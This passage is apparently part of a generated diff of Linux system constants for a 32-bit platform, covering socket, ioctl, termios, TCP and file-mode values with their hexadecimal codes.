-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x400854d5
-- TUNDETACHFILTER = 0x400854d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x800854db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80041270
-+ BLKBSZSET = 0x40041271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80041272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FP_XSTATE_MAGIC2 = 0x46505845
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0xc
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0xd
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0xe
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_32BIT = 0x40
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x8000
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8008743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40087446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x400c744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40087447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETFPXREGS = 0x12
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETFPXREGS = 0x13
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x21
-+ PTRACE_SYSEMU = 0x1f
-+ PTRACE_SYSEMU_SINGLESTEP = 0x20
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8004700d
-+ RTC_EPOCH_SET = 0x4004700e
-+ RTC_IRQP_READ = 0x8004700b
-+ RTC_IRQP_SET = 0x4004700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x801c7011
-+ RTC_PLL_SET = 0x401c7012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
